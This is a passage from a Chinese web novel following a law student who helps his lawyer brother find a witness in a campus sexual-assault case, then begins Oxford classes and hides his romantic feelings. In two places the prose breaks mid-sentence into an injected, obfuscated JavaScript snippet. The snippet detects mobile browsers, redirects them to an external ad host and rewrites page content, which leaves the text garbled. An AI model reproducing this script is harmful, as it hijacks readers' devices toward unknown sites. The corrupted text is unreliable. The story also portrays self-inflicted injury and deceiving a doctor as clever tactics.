杰克惊觉,回头瞬间被摩托车擦撞倒地,文件袋脱手而出。车后座的人俯身一把抢走了文件袋,摩托车扬长而去。四周人纷纷吓了一跳,当即保护好自己手里的财产。 顾思意呆了一下,马上冲过去,扶起杰克:“你没事吧?!” 杰克手肘在地上擦出一大片血痕,脸色苍白,颤抖着掏出手机拨通电话,电话那头传来陈玦沉稳的声音:“你到法院了?” 杰克满脸愧疚:“Drake……我搞砸了!我刚刚在法院门口被抢了……录像带被拿走了……” 陈玦站在法庭上,脸色微微一变。 对方律师立刻注意到了他的表情,随即起身道:“Your Honor!控方至今拿出的证据全是间接推测,我们请求法院立即撤销所有指控!” 陈玦冷静地抬头看向法官:“Your Honor,我的助理三分钟前在法院门口遭遇抢劫,唯一一份关键录像带被抢走了。我们掌握确凿证据,只是暂时无法呈堂,我请求法庭给予一定时间。” 法官立刻让法警核实情况,片刻后低声确认:“确有此事,很多人看见了。” 法庭上的陪审团议论纷纷,神色凝重。 被告席上的马克却露出得意的笑容,整理起自己的西装来。 “Your Honor,”对方律师见状高声反击,“我们有理由怀疑,这是陈律师团队自导自演的一场戏,目的是延迟审理时间!” 法官皱着眉,思索片刻,最终开口:“鉴于特殊情况,控方有24小时的时间补充证据,否则本案将予以驳回。” 散庭后。 马克笑意盈盈地经过陈玦身边:“陈律师,24小时,没戏了,我劝你撤诉吧。”只说了一句话,就被他的律师一把拉走了。 陈玦收拾好文件走出大步法庭大楼,见杰克一脸沮丧地坐在台阶上,胳膊上还包着止血纱布。而旁边,顾思意正一脸担忧地低头跟他说话。 “顾思意?”陈玦眉心一皱,“你怎么在这?!” 顾思意抬头:“呃……我逛街……” 陈玦低头盯着他:“逛到法院来了?” 顾思意眨了眨眼,说:“我是法学生,逛法院外面有什么好奇怪的……” 陈玦表情更差了:“我出门前跟你说的话你忘记了?” 杰克连忙开口打圆场:“Drake!还好Nathan突然喊了我一声,不然这一下估计要被撞得更惨了。” 陈玦这才深吸口气,扭头问他:“伤口没事吧?” 杰克说没事:“就是案子更麻烦了……本来证据就不够,现在唯一的录像带也没了。” 陈玦揉了揉眉心,做出决定:“联系录像带的提供者,让他出庭作证,现在就打电话。” 杰克立刻拨通电话,片刻后抬起头来,面色更难看了:“Drake,联系不上了……他手机关机。” 陈玦脸色一沉,当机立断打车:“我们现在去赫登。” 车上,顾思意坐在陈玦旁边,杰克坐在了出租车的副驾驶,余光瞄向后座。 顾思意从兜里拿出塔可,递给陈玦:“哥哥吃吗,我给你买的,怕你下庭晚了肚子饿。” “不。”陈玦双眉紧锁,眼睛还在平板上查看案子,试图找到一些遗漏的蛛丝马迹。 顾思意偷偷瞄了几眼。 随即伸手将塔可递给了前面的杰克:“你吃吧,你受伤了。” 杰克马上双手接过:“噢!谢谢你Nathan,你真甜。” 顾思意发问:“这个案子很难搞吗?” 杰克撕开塔可包装说:“我们手里现在查到的证据,都不能直接证明他们……” “杰克。”陈玦出声打断。 顾思意扭头道:“我知道是□□,不是简单的校园暴力。” 陈玦抬首看向他,又看了眼杰克。杰克立刻摆手,咽下香喷喷的塔可:“不是我说的!” 顾思意插嘴:“我猜到的,这太明显了,校园暴力案也用不了坐牢,在法院门口抢证据,说明是更严重的情节,加上我之前看见受害者……他状态很不对劲,所以……” 陈玦和他对视上视线,顾思意出声:“你之前去过校医室,我听见过你打电话,有什么线索吗?” 杰克回头道:“没有了,他们没有保留档案,说删除了。” 顾思意:“录像带是谁提供的?” 杰克:“是……” 陈玦面无表情地咳了一声。 顾思意叹气:“好吧,我不问了。” 然而,两个小时后,三个人在人来人往的赫登大学外站定。 上车后,杰克无奈地摊手:“家里没人,邻居也不知道他去哪了。估计……我们在24小时内,不太可能找到人。” 陈玦还在想办法打电话找关系找人的时候,顾思意出声:“法官给了24小时是吗,现在还有20小时,”他看了眼手机,然后抬头望向四周来往的学生,“赫登开学比我们早几天,校医室今天应该也上班了吧……”他说着看向陈玦,“我能表达我的看法吗?” 陈玦挂了电话,看了他几秒钟:“你想说什么。” 顾思意表情认真:“既然他们是惯犯,那么亚伦肯定不是唯一受害者,你们有找过其他学生吗?” 杰克马上说:“都找了,但整个赫登有几千名学生,范围太大了。过去两年所有退学、转学的男生,我们都打电话了,一无所获。” 顾思意注视陈玦深邃的眼睛:“肯定还有人知道,只是不敢说,我们需要证人。时间不多了,杰克你继续联系那些转学的学生,说服他们当证人,不管你用什么方法,另外,”他看向校门,然后收回视线,对着陈玦,接着顾思意忽地握住陈玦的手,牵起来,“我有个想法……” 陈玦皱皱眉:“做什么?” 顾思意把他的手放在了自己的脖颈上,一脸认真:“掐我,用力。” 陈玦:“?” 杰克:“???” 顾思意道:“从现在起,我要当受害者,化妆肯定是瞒不过医生的……你倒是掐啊?我就知道你舍不得,杰克,你来动手。”他坚定地望向一旁目瞪口呆的英国律师。 …… 赫登大学,校医室。 顾思意顶着较为明显的轻伤进去,坐在了女医生对面。 威尔逊医生推了推眼镜:“亲爱的,你是哪里不舒服吗?” 顾思意有些别扭,眼神躲闪着:“呃……我不知道怎么说。” 医生安抚道:“没关系,这里是校医室,所有谈话都是保密的,你放心告诉我好吗?” 顾思意深吸一口气,低头揉着衣角:“我觉得……有些不舒服,心理的,还有……身体。” 威尔逊医生稍微前倾身体,语气更加柔和:“是哪种不舒服?你能稍微再具体一些吗?” 顾思意抬起头,眼圈微红,欲言又止地看着她:“我不确定,我是不是应该跟您讲……我觉得可能是因为,上学期……”他的声音有些哽咽,“上学期发生的一些事,但我当时没勇气验伤,现在又过去很久了……” 威尔逊医生面色一变,目光变得凝重:“你是说有人欺负你吗?” 顾思意点点头,视线垂下来:“嗯,他们……我很害怕……” 威尔逊医生脸色变化,不自觉地低声自语:“他们怎么专挑亚洲学生下手……”她意识到自己说漏了嘴,赶紧压低嗓音,“抱歉,我是说,你能告诉我,是谁伤害你的吗?” “专挑亚洲学生”,顾思意听见了这个重点,咬着嘴唇,声音微微颤抖:“医生,我听说……之前有个学长也遇到了这样的事,除了他,还有一些人,也、也是他们,他现在好像正在起诉他们,但我觉得,他可能赢不了吧?那个人家里太有背景了……如果可以,我多希望他可以胜诉……” 威尔逊医生神情复杂,伸手递给他纸巾:“我想我知道是谁……其实之前也有学生找过我,但他们最后都放弃了,你愿意告诉我具体发生了什么吗?” 顾思意微微抬起脸,晶莹的泪水顺着白皙脸颊滑落下来,他的声音压得很低:“医生,我真的不想别人知道……但是,我实在太痛苦了……而且,我前几天又碰见了他们……” 威尔逊医生立刻紧张起来:“他们又强迫你了?” 顾思意连忙摇头,泪水顺着白皙脸颊滑落,低声道:“我……我跑得很快,所以只是受了点轻伤。” 与此同时,赫登大学外。 陈玦坐在车后座,面色黑沉,手机的免提开着,正清晰地传来顾思意带着哭腔的话语。 杰克坐在副驾驶,震惊地小声嘀咕:“Holy shit,你弟弟应该获得奥斯卡……” 陈玦闭眸:“太危险了,我不该让他卷进来的……” 杰克知道陈律师最不屑使用这种伎俩,过去一个月他们来了无数次校医室了,但无法从校医口中得出半点相关信息,只因为他们出场就是带着盘问意图的律师。 但Nathan的出现,则不一样,他是个“受害者”形象,每一句话都带着示弱的引导,在令人毫无察觉的时候就知道了他想要的。 当律师,恰恰就是这种小伎俩最管用,杰克看向陈玦:“但Drake,我们已经没有更多的时间了……明天就开庭了,Nathan很明显已经动摇了校医,这大概是我们唯一的证人。Nathan很聪明,他甚至连法学院都还没读,他是个天生的律师。” 陈玦“嗯”了一声。 顾思意给他上了一课。 也让陈玦意识到,顾思意真的不是什么小孩了,他聪明胆大灵活,甚至能独当一面。 二十分钟后。 顾思意回到车旁,他拉开车门,盯着车上两位年轻律师。 “我回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15199918|165161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了,你们可以给她打电话了,我相信她现在或许愿意跟你们聊聊了。”顾思意笑着歪头,问杰克:“你介意坐在前面吗?我想和Drake坐一起。” “噢,噢!当然。”杰克马上下车,给顾思意腾出座位。 顾思意上车,凑过去挨着陈玦,陈玦没有躲,任由他靠着自己。 顾思意听他开始打电话,一个接一个的,然后下车去处理案子。他站在车下,弯腰凝视顾思意道:“司机把你送回家,今晚在家待着,不准外出。”他扫了眼顾思意的脖颈,目光微微一凝。 顾思意点头:“知道了。” 陈玦把手伸进车窗。 顾思意见状,主动伸头过去,说:“你要揉我脑袋吗?揉吧。” 陈玦看着他,而后宽大的手掌落在了他的发顶,轻轻地揉了一下,低声说:“在家乖一点。” 顾思意眼睛弯着:“好的哦。” “嗯。”陈玦抽回手,离开。 下午更晚,梁叔把顾思意送回家后,顾思意给陈玦发了几条消息,陈玦回了一条:“晚点回来,医药箱在斗柜第三层。” 今晚应该非常关键,他们有了一个证人,明天要上庭,可能是最后的机会,绝不允许出任何纰漏。 顾思意估摸着陈玦是不会回来了,他坐在沙发上百无聊赖地吃着爆米花看演讲,却听见门铃忽然响起。 顾思意警觉地起身,没有开门,透过窗户一看。 只见邻居老太太站在花园外冲他招手:“Hi,Nathan。” “汤普森太太?”顾思意迟疑地打开门。 “Nathan,”老太太笑眯眯地说,“Drake给我打了电话,说你今晚一个人在家,让你来我家过夜,我烤了肉桂苹果,你过来和我一起吃吗?” “肉桂……苹果?”顾思意马上意识到这是陈玦的保护措施,一个人待在家里也并不安全。 既然是陈玦的安排,他马上说:“那我拿点东西,马上过来!” 当晚,顾思意在邻居老太太家里吃了一顿甜得齁死人还很古怪的晚餐,在她孙女那充满着小女孩特有的浪漫与粉色的卧房里入睡。 其实顾思意根本睡不着,因为担心陈玦,他想着陈玦的案子,想着他的证人到底会怎么决定,还有陈玦会不会遇见什么危险,担忧得辗转反侧,最后起来看了一会儿书才睡着。 - 律所里,陈玦和证人聊到了很晚。 到家时,他看见房间里没人,才意识到顾思意并不在,去了邻居老太太汤普森家过夜。 陈玦快速冲了个澡,睡了三个小时后,便起床了。 他知道汤普森太太一向起得很早,六点多就会醒来浇花。他换好衣服,出门走到邻居家敲了敲门。 一分钟后,汤普森太太打开门:“早上好,Drake!你来得也太早了,我才刚刚起床。” 陈玦微微颔首:“早上好,汤普森太太。Nathan还在楼上么?” 汤普森太太点头:“还睡着呢。要看看他吗?你等下还要去法庭吗?” 陈玦低头看了眼表:“是,上午十点开庭,今天可能要忙到很晚。” 汤普森太太叹了口气:“你可真辛苦,要不要我给你煮杯肉桂咖啡?” 陈玦轻笑了下:“谢谢,不用了,我上去看一眼Nathan就走。他昨天几点睡的?” 汤普森太太说:“我睡的那会儿,就送他进房间了,他很挂记你呢,一个晚上都在看手机,叹气……” 陈玦没吱声,他走上二楼,推开粉红色房间的门,没记错的话,这间房间是汤普森太太那位只有假期才偶尔来的小孙女的房间。而顾思意正穿着柔软的蓝色睡衣,蜷缩在被子里睡得安静,睡颜十分柔软。 陈玦走过去,蹲下来看他,他看到了顾思意脖颈露出的红痕。 陈玦微微抬手,却没有碰。 但不知道是不是他开门的动作,顾思意还是睁开了眼睛。 陈玦声音很轻:“把你吵醒了?” 顾思意揉了揉眼睛,看见陈玦穿着衬衫和灰色马甲,正蹲在自己面前,他有些困倦地问:“你回来了?”顾思意抬眼看了看窗外的天色,“刚天亮,应该才六点吧,还没开庭,怎么样,医生同意出庭了吗?” 陈玦没回答,视线还停留在顾思意脖子上的淤痕,这才伸手轻轻触了触:“自己掐的?” 他指尖的温度很凉,碰在皮肤上让人几乎一颤,顾思意清醒了一些,认真道:“哦,对,你昨天不是不肯掐我吗,但我觉得不制造点伤痕很难说服医生。你也看见结果了,伤痕让我的话变得更可信了,所以……” 陈玦抬眼,浓密的睫毛遮住黑色瞳仁:“我不是说了,只准你说是上学期的事,你心理有阴影去找校医室求助就行了吗?你没必要真的弄伤自己,你为什么不听话。” 顾思意笑了笑,轻声道:“做戏要做全套嘛。” 陈玦抿唇,低声问:“疼吗?” 顾思意点了点头,委屈地说:“当然了……” 陈玦神情微微一紧:“抱歉,我不该让你去的。” 顾思意轻轻把下巴搁在他放在床沿的手背上,眼睛乌黑,转也不转,近距离地呼吸道:“抱歉什么?我自己掐自己,还是有分寸的。” 陈玦眼眸深黑:“这叫有分寸?” 顾思意点点头,轻启唇:“不过……嗯,如果是你动手的话,说不定我会爽的。” 陈玦:“?” 10.Chapter 10 等顾思意意识到自己说了什么,陈玦已经走了。 顾思意捂着脸在床上装死了几分钟,爬起来趴在窗户看,看见陈玦开车出门了。 等目送车驶远,顾思意躺平继续装死。 他决定当做什么都没发生,既然陈玦不问,他就不说,全当说了梦话,问就是记不清。 下午两点,陈玦下庭后直接回家,在家看书的顾思意忙问:“怎么样,证人来了吗?什么结果?” 陈玦点了点头,解开领带,靠在沙发上,长腿自然地伸展开,闭着眼:“过程不太顺利。校医的证词还是有一定帮助,她承认当时处理了类似的伤痕,但始终没明确说性,侵,只说当时受害者没有选择报警,情绪也很不稳定。” 顾思意皱了皱眉:“那就不能直接作为证据了吧?” 陈玦慢慢睁开眼,嗓音低沉:“是的,对面律师团队强大,校医的证词只能作为补充证据,而不是决定性证据。布朗家有背景,法官在判决时也会非常谨慎。” “所以……怎么办?”顾思意问。 陈玦语气冷静:“法官已经决定继续审理,但判决可能会被延迟。” 顾思意看着他,突然开口:“你记不记得,我问校医的时候,她提到过一点,亚洲学生,但没说是男是女。你们有找过转学离开的女生吗?” 陈玦捏了捏眉心:“有找过,但都不愿意作证。马克家里给了补偿,他们转学到了更好的学校,开始了新生活。” 顾思意皱眉:“所以,校医证词和证人都不足以推翻?” 陈玦点头:“证人无法强迫出庭,校医证词只是辅助证据,无法定罪。” 顾思意:“那……” 他还想说什么,陈玦摆了摆手,起身打断他:“我上去洗个澡,下午送你回学校,你后天就开学了。” “哦。”顾思意应了一声,有点郁闷,虽然他成功帮助陈玦找到了证人,陈玦愿意和他讨论案情,但没有真的拿他当成平等的律师来对待。 好吧……他只是个还没进入法学院的学生。 而且顾思意也想不出什么好法子,他说了句:“既然主犯的背景大到让法官也要考虑,那为什么不能找更大的法官,或者让布朗的父亲犯一个更大的错。” 陈玦脚步一顿,回头。 顾思意说:“一个让他无暇顾及儿子的错……好吧,这可能比找证人更难。” 陈玦没说话。 顾思意看起来天马行空,其实办法完全可行,只是这样做事不是陈玦的作风。 下午,他把顾思意送回了学校。车上,顾思意十分不舍地抱他,额头抵在陈玦的胸口:“我在学校会想你的,你要接我电话。” 陈玦本来想推开,又忍住了,拍了下他的背:“我在你书包装了化瘀的药,记得涂。” 然后不着痕迹地将顾思意推开了。 十月初的牛津,天气转凉。 顾思意把从陈玦家里带了衣服一件件整理进宿舍的衣柜,明明才来不到一个月,又多了很多东西,差不多都是陈玦买的。 法学院坐落在一栋哥特式建筑里,常春藤爬满红砖墙面。 而顾思意的宿舍位于三楼,窗外就是学院的中庭花园,古老的石板路蜿蜒通向图书馆。 法学院的课程比想象中还要密集。 早上八点半的物权法在一间拱形天花板的大教室里,教授是个六十多岁的老头,操着浓重的牛津腔讲解产权法的历史渊源。每到精彩处,他会用粉笔在黑板上画出复杂的推演过程。 犯罪法的课堂讨论总是最热闹的。史密斯教授喜欢抛出一些极具争议的案例,让学生们辩论。顾思意总是那个牵头羊,虽然他意识到自己可能会因为太抢风头而被孤立,以前就总这样,但他还是我行我素,毫无顾忌展示自己的出色。 交朋友又不是靠舔来的,他不在乎这个。 最令人头疼的是法律研究与写作,每周两篇case brief让他经常熬到深夜。 午休时,顾思意常常一个人抱着厚重的判例集躲在图书馆角落发呆,一边看书一边和陈玦发消息聊天。 十月八号,周四,顾思意第一次参加辩论社新生培训。 他特意穿了身正装,推开那扇近两百年历史的橡木大门,穿过陈列着历任主席照片的走廊。 这里的每一寸空气都浸润着精英的傲慢——丘吉尔、撒切尔、布莱尔,都曾是这个殿堂的主人。 礼堂里座无虚席,近百名新生挤在一起。 主席台上,一个戴金丝眼镜的学长正用优雅的牛津腔介绍社团历史。 顾思意坐在他能找到的最好位置,两旁都是白人,没人注意这个沉默的亚裔男孩。 “要我说,能当个会员就不错了。”背后的男生主动凑到顾思意旁,和他打招呼,“你好,你是哪里人?新生吗?” 顾思意点头:“你好,我是中国人。你也是吗?” 对方摇头:“No, senater, 我是新加坡人。” 顾思意:“……你普通话说得不错。” 对方笑起来,和他握手:“我是邱耀,法学院大一,我在物权法课上见过你,你叫Nathan对吧。” 邱耀很快和他自来熟了,他压低声音:“Nathan你知道吗?月底有个新生选拔赛,能进校队的不超过五个人。去年全是PPE系和法学院的天才,随便一个都能把我们这种菜鸡吊起来打。” “是吗……”顾思意词不达意,“我听说每周四晚上有常规辩论?" “对,但那是给‘正式队员’练手的。我们这种交会费的,最多打打新手赛,给人当陪练。”邱耀摇头,“你看那边那几个?”他指了指前排的几个金发碧眼、十分打眼的学生,“前排那些人,就是PPE和法学院的大神们。PPE可是‘首相摇篮’,每届首相都是从那里出来的。他们从伊顿公学一路打辩论打到牛津,跟现任主席都是校友。” 他叹口气:“我们能在新手赛上露个脸就不错了。这里虽然表面说是人人平等,但圈子比英国议会还要封闭。都喜欢抱团。” 顾思意:“中肯。”这里没有平等。但也很正常,平等是要靠自己争取的。 参加完这个没什么意思的新生培训,他和邱耀加了好友,就回了宿舍。 晚上,顾思意给妈妈打视频:“妈妈,我交到新朋友了,是新加坡来的,他人很好……” 和妈妈聊完,他又给陈玦发消息:“今天去了辩论社学习,人很多,不过没几个亚裔脸,我交了个朋友……” 他事无巨细地告诉陈玦每一天的生活,今天课上遇到了什么问题,午饭吃了什么,新交的朋友来自哪里,小组会议里都有哪些人,大家说话各自有什么口音,有没有烦人精,虽然陈玦回复简短,但顾思意知道他一定都看了。 Week 2的周五,上午犯罪法的课后。 “梁叔!”顾思意拖着行李箱走出法学院大门,十月罕见的阳光透过乌云照在他身上,映得他白皙的皮肤几乎透明。这段时间的紧张学习让他消瘦了些,但眼睛依然明亮。 梁叔惊讶:“这么多东西要带回家啊?” 顾思意很喜欢“回家”这两个字。 “宿舍快放不下了,我拿些放家里。” 他背着鼓鼓的书包,里面装满了准备作业和辩论赛要用的资料,有些在线图书馆找不到,他特意去借的。 车上,顾思意翻着笔记本。 为了准备选拔赛,他每天都在整理英国近年的热点法律议题,司法改革、数据监管、移民政策……即兴辩题最考验选手的反应能力和知识储备,他需要大量阅读。 “能送我去律所吗?”顾思意合上本子,“我在楼下等陈玦下班。” “陈律师说让你直接回家等他。” “我想给他个惊喜。” 梁叔摇头:“可不能是惊喜,律师下班时间不固定的。这样吧,你给陈律打个电话,他同意我就送你过去。” “我怕他在忙……算了,我给他发个微信好了。”顾思意发了个卖萌的表情给他,问他:“你在做什么?” “刚午休完,在办公室。”陈玦回得很快。 顾思意发语音:“我能在你们楼下的咖啡厅坐着等你吗?我学习然后等你下班。” 陈玦转文字看了消息,回:“到了给我短信。” Grind咖啡厅就在汇丰大厦底层,一整面落地窗直接对着码头。 乌云洒在泰晤士河上,远处是伦敦塔桥的轮廓。金融城的午后,西装革履的精英们来来往往。 顾思意找了个靠窗的位置坐下,买了一杯拿铁。 他打开录音笔,小声地进行即兴演讲,时不时停下来修改措辞。来来往往的白领们只当他是个认真准备考试的学生。 这时,一阵香水味飘来。顾思意下意识抬头,看见一个高大的男人站在吧台前。他穿着一身剪裁完美的黑色风衣,轮廓深邃,是混血特有的英俊。 “Gordon,下午的并购案文件……”他身边的助理递过一份文件。 男人随手接过,在咖啡杯上签了字。他转身时,顾思意看见助理手中文件袋上烫金的“Linklaters”logo。那是伦敦魔术圈顶尖律所之一,就是陈玦现在所在的律所。 顾思意多看了几眼,Gordon大步走出咖啡厅,那股淡淡的古龙水味还萦绕在周围。隔着玻璃,他看见对方戴上墨镜,上了一辆黑色奥迪R8。 顾思意心想,开这么贵的车,一定是大律师了。 陈玦是四点多下来的。 他站在顾思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203417|165161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意身后,见他垂着头,黑发柔顺地贴着额头,睫毛浓密纤长,在光线下闪烁。这会儿顾思意正在笔记本上写着什么,手指白皙,字迹清秀。论点、思维导图、中英文混杂在一起。 陈玦出声:“在准备比赛?” “哥哥!”顾思意吓了一跳,仰头看他,眼睛亮晶晶的,“你怎么下来了?提前下班了?” “没,休息时间。下来看看你。”陈玦低头看他的笔记,“英国议会制度?巴以战争?” “嗯,”顾思意点头,“我们比赛很可能抽到政治类的题目。”他抬头望着陈玦,“那你什么时候下班?” “还有个会。”陈玦揉了揉他的头发,“晚上一起回家,先带你上去。”快天黑了,他不放心把顾思意放在外面太久。 顾思意跟着陈玦进了电梯。 陈玦的办公室宽敞,一面书架,一面玻璃墙,采光很好。 “坐。”陈玦指了指会客区的沙发,“开完会就带你回家。” 顾思意打量着这间办公室。桌上整齐地摆着文件,放着一台座机,墙上挂着陈玦的律师执照。 陈玦给他倒杯温水就离开了,顾思意还没来得及问亚伦案子的进展。 顾思意坐了会儿,正在看资料,办公室的门忽然被敲响了。 Gordon径直推门而入,看见沙发上的少年,有点意外:“你是Drake的当事人?” “不是,”顾思意抬头,认出了楼下咖啡厅的帅哥律师,“我是他弟弟,在等他下班。” “在写作业?”Gordon瞥了眼他摊开的笔记本。 顾思意点点头。 Gordon转向助理:“Board meeting还没结束?” “是的Gordon。大约还需要二十分钟。”助理递给他一份文件,“米尔顿的并购案,您要和陈律师讨论的。” Gordon接过文件,对助理交代工作:“让陈快点回来,他弟弟还在。” 顾思意闻言当即起身:“对不起,是我擅自要求上来等他的,我是不是不该在这里……” “没事,坐你的。”Gordon随口应了一句,在另一张沙发上坐下,右腿闲适地搭在左膝上,西装裤笔挺而修长,手指打开桌上的纸质文件。 办公室里安静下来。 顾思意继续看书。 他不知道旁边的律师是谁,看这作风,大概是高级合伙人那一类,于是顾思意上网搜索了一下他的名字。名字外加律所名称,很快跳出了男人惊人的履历,让顾思意轻轻地嘶了一口气,抬头看了一眼。 Gordon只全神贯注在文件上,西装革履,气场强大,一丝眼神余光都没有分给顾思意。 五点四十,陈玦推门进来。 藏蓝色休闲西装,剪裁精致的版型随意地敞开,顾思意抬头望过去,都是昂贵高定西装,但两个男人穿得完全不同。 Gordon混血特有的深邃五官和略带灰调的眼睛,让他整个人都带着西方人的张扬气质,而陈玦的英俊更内敛和懒散,像一把出鞘的利剑,锋芒内敛。 顾思意起身:“我先出去了……” 陈玦侧头:“在外面沙发上等我。” “米尔顿的案子,”Gordon插着兜靠在他的办公桌上,递过文件,“看看这个方案。” 陈玦接过文件快速浏览,眉头微蹙:“税收结构有问题。”他的声线清冷,“这里的离岸控股会触发反避税条款。” 两人简短地交换意见,末了Gordon问:“对了,你的Pro bono打得怎么样了?听说遇到麻烦了?” 陈玦不咸不淡地说:“还好。” Gordon拍了下他的肩:“我和布朗是老相识,别招惹他,案子败诉就败诉了吧,你还年轻。” 陈玦无动于衷,扫开他的手:“不用教我,我不可能败诉。” Gordon说:“十年,五亿英镑的全线法律服务,你撤诉。” 他停顿了一下,看着陈玦,“这不是客户,这是进入董事席的台阶。” 陈玦冷冷道:“出去。” Gordon似乎有些意外于他的高底线,挑起一边眉毛,离开时,他从顾思意身边擦肩而过。 陈玦将文件放回桌上,转过身,西装下摆随着动作展开又收拢,看见玻璃窗外站着的顾思意。 然后发现顾思意在看Gordon。 陈玦:……? 陈玦顺着目光而去,Gordon每天健身,西装又钟爱掐腰的款式,腰身紧窄臀部又翘,肩膀和后背宽成了一个有点夸张的倒三角,和陈玦这种标准型的不一样。 他想起顾思意说的那些话,他那听话的弟弟显然有些不为人知的性癖。 顾思意喜欢这样的? 11.Chapter 11 Chapter 11 这几天陈玦和顾思意的相处模式是小心的,他高度怀疑顾思意的性取向,在假设的同时,还担心思意对自己的依赖会转化为另一种感情。 如果顾思意喜欢的是Gordon这类型,算是好事,不过Gordon……不见得是好人。 顾思意没有看很久帅哥,很快收回目光,和陈玦对上视线。 陈玦打开门示意他进来,问他:“饿了吗?” 顾思意摇摇头。 “再等我半个小时?”陈玦看了眼手表,“工作太多,没有办法陪你,你想不想早点回家?你可以先回去。” “没关系,我在旁边看书就好,等你忙完我和你一起回家。”顾思意很乖。 陈玦知道他乖,也知道这是表象。他应了一声,坐在办公椅上忙工作,而顾思意在旁边的会客区沙发上靠着看书,却总是会分神去悄悄看陈玦。 顾思意第一次真正意识到自己对陈玦的感情不太一样,可能是十六岁。但喜欢上他,一定是更早的时候,在毛还没长齐的年纪。 他放学的时间比陈玦早,经常去他们学校门口等陈玦下课,陈玦的同学和朋友都认识他,一旦他出现,就会喊陈玦:“哎哟,哥,你小跟班又来了啊。” 顾思意常常跟着比自己大五六岁的高中生一起活动,有人会给他买辣条,给他买玩具,让他给陈玦递情书。 都被顾思意笑眯眯接下来扔了。 说实话他都不知道自己为什么那么做。他会在下课后和陈玦一起坐车回家,在他们家吃饭,晚上也睡一起。陈玦总说他:“顾思意你没有自己的床吗,不要挤我。” 顾思意擅长装可怜,抱着他不撒手地撒娇。 陈玦于是安静了会儿,背着身,很无奈:“别乱动了,这样很奇怪。” “好的,我不动,我只是喜欢和你在一起。”顾思意解释。 陈玦:“嗯。” 顾思意:“你没有不喜欢我吧?” “没有。”陈玦睁着眼枕在胳膊上,能感觉到顾思意在身后紧紧抱着自己的腰,体温热热的,他倒是习惯了这样,不是觉得不对劲,而是纯粹觉得自己毫无隐私,想打个飞机都做不了。 所以陈玦没忍住,冷着脸起身说:“回你的床睡。” 顾思意小狗沮丧脸:“哥哥讨厌我了吗?” 陈玦坐在床上,抓头:“我明天要考试,你弄得我睡不着。” 顾思意:“那好吧……”他很不情愿地爬起来,陈玦掀开被子说:“听话,快点,周末再补偿你,要什么都给你。” 顾思意停下动作望着他:“要什么都给我吗?” 陈玦随口“嗯”了一声。 顾思意:“我要星星呢?” 陈玦:“好。” 顾思意:“我要月亮呢?” “也给你。”陈玦把他推下床,再推出门,顾思意还在门口问:“你打算怎么给我啊,我们可以坐飞船上太空吗。” 陈玦没回答就把门锁了。 周末的时候,陈玦就给了他答案,他们第一次去了天文馆,顾思意透过哈勃望远镜,生平第一次如此清晰地望见了银河。数不清的星辰闪耀在漆黑的宇宙深处,汇聚成无尽绚丽的璀璨光海。 顾思意望着眼前这浩渺壮丽的星河,心中震撼无法形容,那一瞬间他下意识地伸出手去,似乎真的可以触摸到那遥远的星辰。 “看到了吗?”陈玦一边低头发着消息,一边漫不经心地问。 “看到了……”顾思意轻轻地说着,眼底映着星辰,手指徒劳地伸向前方,却触不到任何实质,“可是抓不到,好远啊……星星要怎么抓到?” 陈玦终于把视线从手机移开,看了他一眼,随即叹了口气,把另一只手递给他牵着:“别像个丧尸一样在空气里乱抓,会吓到旁边的人。” 顾思意愣了一下,那一瞬间,掌心温暖的触感像是穿越了整个星辰宇宙,骤然攥住了他的心脏。他的指尖微微颤抖,星河浩瀚无垠,却仿佛都在这一瞬被牢牢握紧。 在陈玦离开后,顾思意总是反复回忆起那个瞬间,仿佛人生的记忆中,被镶嵌了一枚温暖的锚点。 一年前顾思意才明白,那一刻自己抓住的,根本不是星辰,而是心底萌芽的一个妄念,想要握住陈玦的手,走过一辈子,再也不放开。 又一次和陈玦打完电话后,顾思意躲在黑暗的房间里看片,屏幕的光映照着他泛红的脸。 晚上顾思意做了个梦,梦里陈玦的身影模糊又温柔。 顾思意早上起来洗了内裤,原因是那段时间他总是看陈玦参加辩论赛的视频,他们会电话,会视频聊天,顾思意发疯地想念他,看他的视频。 尚未毕业的陈玦介于青年与少年之间,在同台者都穿西装时,他身着随性的黑色卫衣,双手稳稳按在辩论台上。他说话时目光如炬,神情专注自信,比现在要锋芒外露得多,像锃亮的刀锋反射着惊人的光亮,整个世界都是他的舞台。阳光从赛场的玻璃穹顶洒下来,为他年轻俊朗的侧脸打上一层灿烂耀眼的光晕。 视频不多,顾思意反复着迷地看。 他尚且能直视这份悸动,可还是不知道怎么处理。 陈玦和别人不一样。 换成随便另一个人,顾思意都不害怕告白的结果,也不怕对方疏远。 但他怕陈玦讨厌自己,怕毁掉他们之间的感情。 顾思意和陈玦每周都会通电话,他小心地倾诉着自己的想念,想和他视频,每次看见视频里陈玦的模样,他的心就像被什么轻轻揉捏,蜷缩在一起,小小的一团,裹在他的胸腔里乱蹦。 “觉得辛苦了就打电话给我,”这是陈玦唯一的关怀方式,“缺钱花也跟我说。” 顾思意低声说:“不缺钱的,妈妈会给我。” 有天顾思意意外发现,原来陈玦出国前,给了张疏桐三百万救急,他过的之所以没有很糟糕,是因为这个。但张疏桐从没告诉他,陈玦也没提过。 年初,自从顾思意在梦中看见陈玦穿着剑桥的学士服,在毕业典礼上和一个金发碧眼的英国男生接吻后,他就开始后心慌意乱。 